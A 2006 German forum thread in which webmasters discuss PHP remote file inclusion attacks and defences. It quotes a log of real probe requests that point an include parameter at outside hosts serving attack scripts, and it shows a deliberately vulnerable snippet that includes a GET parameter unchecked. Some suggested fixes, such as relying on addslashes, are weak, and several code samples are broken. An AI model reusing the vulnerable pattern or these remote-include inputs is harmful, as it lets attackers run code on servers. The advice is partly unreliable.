Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Webmaster-Security Fragen zur richtigen Serverkonfiguration oder Absicherung dynamischer Scripte gehören hier hinein.

'Include-Attacken'

Diskussion: 'Include-Attacken' im Forum Webmaster-Security, in der Kategorie Security Area; Anzeige Hi @all! Ich will alle Webmaster unter euch darauf aufmerksam machen, dass Include-Attacken erstaunlich oft ausprobiert werden. Damit meine ...

Antwort
Alt 27.01.06, 19:38   #1 (permalink)
 
Registriert seit: 13.03.05
BattleMaker Leistung: Facit NTK
Likes: 0
Standard 'Include-Attacken'

Anzeige

Hi @all!

Ich will alle Webmaster unter euch darauf aufmerksam machen, dass Include-Attacken erstaunlich oft ausprobiert werden.
Damit meine ich, dass bestimmte Leute ganz gezielt nach PHP-Seiten suchen, die andere Seiten inkludieren, so wie z.B. meine eigene es macht: Main.php?inc=X

In diesem Fall wird X inkludiert. Sofern man sein Skript nicht besonders geschützt hat, ist es dem Hacker nun möglich, Skripte von seinem eigenen Server zu inkludieren. Dazu gibt er als X z.B. http://irgendwas.xx/hack.txt ein. Alle PHP-Blöcke in dieser Datei werden als PHP-Code auf dem eigenen Server ausgeführt.

Wozu ich das euch jetzt alles erzähle? Weil das verdammt oft passiert.
Vor 2 Tagen habe ich in meiner Website eingebaut, dass jeglicher fehlerhafter Zugriff geloggt wird und ich somit die Möglichkeit habe, Angriffe zurückzuverfolgen oder gar rechtliche Schritte gegen gewisse Leute einleiten kann.

Das ist mein aktueller Log, der seit dem 25.01 um ca. 20:00 Uhr geführt wird:

Code:
25.01.2006, 21:01:48 | IP: 62.214.98.X | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://katytaylor net/images/hi txt?" anzeigen (Main.php?inc=http://katytaylor net/images/hi txt?)
25.01.2006, 21:10:05 | IP: 62.214.98.X | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://katytaylor net/images/hi txt?" anzeigen (Main.php?inc=http://katytaylor net/images/hi txt?)
25.01.2006, 21:22:43 | IP: 62.214.98.X | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://katytaylor net/images/hi txt?" anzeigen (Main.php?inc=http://katytaylor net/images/hi txt?)
25.01.2006, 21:22:43 | IP: 62.214.98.X | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://katytaylor net/images/hi txt?" anzeigen (Main.php?inc=http://katytaylor net/images/hi txt?)
26.01.2006, 15:50:35 | IP: 85.99.234.XX | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://members lycos co uk/bilinmeyenler222/k txt?" anzeigen (Main.php?inc=http://members lycos co uk/bilinmeyenler222/k txt?)
Die letzte Stelle der IP-Addresse habe ich selbst entfernt.
(Punkte wurden aus der URL autom. entfernt.)

Wie man an dieser Datei sieht (http://members.lycos.co.uk/bilinmeyenler222/k.txt) verwenden diese Noobs noch nicht mal ihre eigenen PHP-Skripte!

Ich hoffe so mancher von euch wird nun seine Website nochmal gründlich untersuchen.
Wenn Ihr wollt könnte ihr ja auf meiner Homepage mal nach Lücken suchen *g*...




MfG, BattleMaker
BattleMaker ist offline   Mit Zitat antworten
Alt 28.01.06, 13:01   #2 (permalink)
 
Registriert seit: 17.01.06
Oi!Alex Leistung: 8086
Likes: 7
Standard

Es wird oft versucht... aber denke mal auch meine Seite/Seiten sind in der hinsicht gut geschützt...

denke mal
PHP-Code:
switch($_GET[section])
{
: include(a.php); break;
: include(b.php); break;
default: default.
php break;

(hoffe sind jetzt keine syntax fehler drin)
okay an der stelle "switch($_GET[section])" kann man noch die variable mit addslashs bearbeiten... aber sonst, sollte es doch sicher sein... oder irre ich mich da?

p.s. nicht wundern hast jetzt von mir ein paar log einträge, wollte wat testen
Oi!Alex ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 29.01.06, 12:08   #3 (permalink)
 
Registriert seit: 12.10.05
TeeKayo2 Leistung: Facit NTK
Likes: 0
Standard

Hi!

Ich verstehe nich ganz wie der Angriff funktioniert.

Meinst du das wenn oben in der URLeiste ein inc getätigt wird der Angreifer einfach die url abändert und er kann sein Script auf deinem Server laufen lassen OO?!

Das wär ja n Bug der übelsten Sorte.

Klär mich doch bitte auf wenn du magst.

MfG,

TKo?
TeeKayo2 ist offline   Mit Zitat antworten
Alt 29.01.06, 12:58   #4 (permalink)
 
Registriert seit: 20.11.05
CraHack Leistung: Facit NTK
Likes: 0
Standard

Ganz genau!

Stell dir vor du hast folgendes Script:
PHP-Code:
<?PHP

include $_GET["include"];


?>
Jetzt könntest du diese seite z.b. so aufrufen.

http://www.MeinServer.de/index.php?include=news.php

Dann wird das Script "news.php" geladen und ausgeführt.

Du könntest diese Seite jedoch auch so aufrufen.

http://www.MeinServer.de/index.php?i...ER.de/böse.txt

Dann wird die Datei böse.txt vom anderen Server geladen und bei dir ausgeführt.
CraHack ist offline   Mit Zitat antworten
Alt 29.01.06, 16:38   #5 (permalink)
 
Registriert seit: 12.10.05
TeeKayo2 Leistung: Facit NTK
Likes: 0
Standard

Oh...
Wie kommts das ich davon noch nie was gehört habe?
Bin gespannt was man dagegen tun kann,gerade wenn man selbst auf includes angewiesen ist

Kommt in meine Sammlung,
ThX&MfG;

TK
TeeKayo2 ist offline   Mit Zitat antworten
Alt 29.01.06, 17:11   #6 (permalink)
 
Registriert seit: 14.02.05
fapeg Leistung: Facit NTK
fapeg eine Nachricht über ICQ schicken
Likes: 0
Standard

du bist auf jeden fall sicher wenn du feste dateien anstatt variable includest.

beispiel:
PHP-Code:
<?php
include("bla.php")
?>
ist sicherer als:
PHP-Code:
<?php
include($a)
?>
wenn $a jedoch vorher ein fester wert übergeben wird sollte es nicht klappen
fapeg ist offline   Mit Zitat antworten
Alt 29.01.06, 17:14   #7 (permalink)
 
Registriert seit: 20.07.05
CPU8080 Leistung: Facit NTK
CPU8080 eine Nachricht über ICQ schicken
Likes: 0
Standard

Ich mach sowas eigentlich nie über $_GET[],
sondern wenn ich sowas mache lasse ich ein hiddenfeld mit wert in einer form abschicken und die action setz ich dann auf die Seite die es bekommen soll.
Kann man den Post auch anzapfen also einen form auf meine Seite abschicken??
CPU8080 ist offline   Mit Zitat antworten
Alt 29.01.06, 17:18   #8 (permalink)
 
Registriert seit: 22.05.05
Ranger Leistung: Facit NTK
Likes: 0
Standard

Natürlich kann man das
Man kann sein Formular auf jede Seite setzen, also auch auf deine
Ranger ist offline   Mit Zitat antworten
Alt 26.11.06, 13:14   #9 (permalink)
 
Registriert seit: 02.11.05
Sjune Leistung: Facit NTK
Likes: 0
Standard

Moin, ist zwar schon bissel alt hier aber egal.

Hat einer von euch ne Ahnung ob es irgendwie möglich ist noch fremde Dateien zu includen wenn ich vorher mit file_exists prüfe ob die GET Datei existiert?
Weil so wie ich das sehe gibt file_exists nur true zurück wenn die datei auch auf dem eigenen Server liegt. Oder sehe ich da was falsch?
Sjune ist offline   Mit Zitat antworten
Alt 26.11.06, 16:39   #10 (permalink)
Senior Member
 
Registriert seit: 01.01.04
Prometheus Leistung: Facit NTK
Prometheus eine Nachricht über ICQ schicken
Likes: 0
Standard

Ich glaube kaum das Jemand mal irgendetwas "Gemeines" Includen kann.
Nimmt doch einfach mal eine Fallunterscheidung wie Switch. Falls jetzt Jemand folgendes einfügen will: index.php?inc=seite3.php oder index.php?inc=böse.txt, wird er keinen Erfolg haben, denn anstatt z.B. böse.txt zu includen, wird index2.php Includet.
Irgendwie muss ja mit den Wert, den man bekommt gearbeitet werden.

Code:
$inc = $_GET['inc'];
  switch($inc)
  {
     case 'seite1':
                 include 'seite1.php';
                 break;
      case 'seite2':
                 include 'seite2.php';
                 break;
      default:
                 include 'index2.php';
                 break;
Prometheus ist offline   Mit Zitat antworten
Alt 26.11.06, 16:56   #11 (permalink)
 
Registriert seit: 25.12.04
stone.dr Leistung: Facit NTK
Likes: 0
Standard

So genannte File Inclusions, sind bei älteren PHP Server wirklich möglich.

Konnte einmal live sehen, wie ein "Freund" ne Shell in ein CMS includet hat.
Der Bug lag darin, dass der Server die Fremde Datei (txt - <?php ) geparst hat.

Aktuelle FileInclusions, auch wenn sie auf Seiten wie milworm etc. gehandelt werden, funktionieren bei den neuen PHP Versionen nicht mehr (zumindest kenn ich kein aktuelles Bsp.).
stone.dr ist offline   Mit Zitat antworten
Alt 26.11.06, 17:55   #12 (permalink)
 
Registriert seit: 02.11.05
Sjune Leistung: Facit NTK
Likes: 0
Standard

Also hm wenn ich das schon mit dem switch case machen sollte würde ich es wenn dann so relaisieren(Erspart ne menge Code ):

Code:
$inc = $_GET['inc'];
  switch($inc)
  {
     case 'seite1':
     case 'seite2':
       include($_GET['inc']);
     break;
     default:
       // not found
     break;
Aber ich wollte nur wissen ob man das file_exists auch wirklich nicht umgehen kann.

@stone.dr
Ich weis nicht was du mit File Inclusions meinst aber das was ich daruntzer verstehe: Fremdes Scipte auf dem Server einbinden das geht sehr wohl noch mit den neusten PHP versionen!
Sjune ist offline   Mit Zitat antworten
Alt 26.11.06, 18:00   #13 (permalink)
 
Registriert seit: 17.01.06
Oi!Alex Leistung: 8086
Likes: 7
Standard

Zitat:
Original von Sjune
Code:
$inc = $_GET['inc'];
  switch($inc)
  {
     case 'seite1':
     case 'seite2':
       include($_GET['inc']);
     break;
     default:
       // not found
     break;
PHP-Code:
 switch(addslashs($_GET['inc']))
 {
     case 
'seite1': include(seite1.php); break;
     case 
'seite2': include(seite2.php); break;

     default: include(default.
php); break;

so sollte es wohl am besten sein gruß
Oi!Alex ist offline   Mit Zitat antworten
Alt 26.11.06, 18:05   #14 (permalink)
 
Registriert seit: 18.10.06
bcom Leistung: Facit NTK
Likes: 0
Standard

joa, man kann aber irgendwo in der php.ini abschalten dass man dateien von anderen servern in php öffnen/includen kann wenn ich mich nich ganz irre
bcom ist offline   Mit Zitat antworten
Alt 27.11.06, 15:05   #15 (permalink)
Senior Member
 
Registriert seit: 01.01.04
Prometheus Leistung: Facit NTK
Prometheus eine Nachricht über ICQ schicken
Likes: 0
Standard

Zitat:
Original von Sjune
Ich weis nicht was du mit File Inclusions meinst aber das was ich daruntzer verstehe: Fremdes Scipte auf dem Server einbinden das geht sehr wohl noch mit den neusten PHP versionen!
Du meinst sicher die Sicherheitslücke, die vor einiger Zeit bei den Webservern mit PHP aufgetaucht ist!? Dort konntest du dann die Konfigurationswerte über eine ähnliche Methode ändern und/oder Zugriff auf den Server direkt erhalten.

Anderseits gibt es da noch die SQL-Injections, die manchmal funktionieren.

Aber es kommt immer auf die Programmierung an. Z.B.: bei einer Fallunterscheidung wie ich sie aufgeführt hatte, wäre es nicht möglich ein böses Script einzufügen.
Anderseits könnte ich mir nicht vorstellen wie du nun deine bösen Scripts includen könntest. Ein direkten PHP-Code anstatt der Variabel wird doch nicht so einfach ausgeführt.

Zitat:
Original von Sjune
Also hm wenn ich das schon mit dem switch case machen sollte würde ich es wenn dann so relaisieren(Erspart ne menge Code ):

Code:
$inc = $_GET['inc'];
  switch($inc)
  {
     case 'seite1':
     case 'seite2':
       include($_GET['inc']);
     break;
     default:
       // not found
     break;
Würde dir aber kaum was bringen. Du hast Code an der falschen Stelle gespart.
Die "//..." sind übrigens Kommentare und werden in PHP nicht ausgeführt. Somit hast du kein default.
Prometheus ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Security Area » Webmaster-Security » 'Include-Attacken'
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Brauche Hilfe bei DDOs Attacken Night Webmaster-Security 32 04.08.09 12:43
propfind im apache log, Anzeichen auf Attacken? Bammes (In)security allgemein 2 27.09.07 18:32
PC für legale Attacken muh_baris (In)security allgemein 21 25.09.06 16:19
CLI.exe, DDoS attacken und andere Probs! ImMoRtaL Die Problemzone 2 05.02.05 16:08
Genaueres zu Brute Force Attacken MrMulti Virenschutz · Tools & Aggressive Software 15 01.07.03 20:16


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61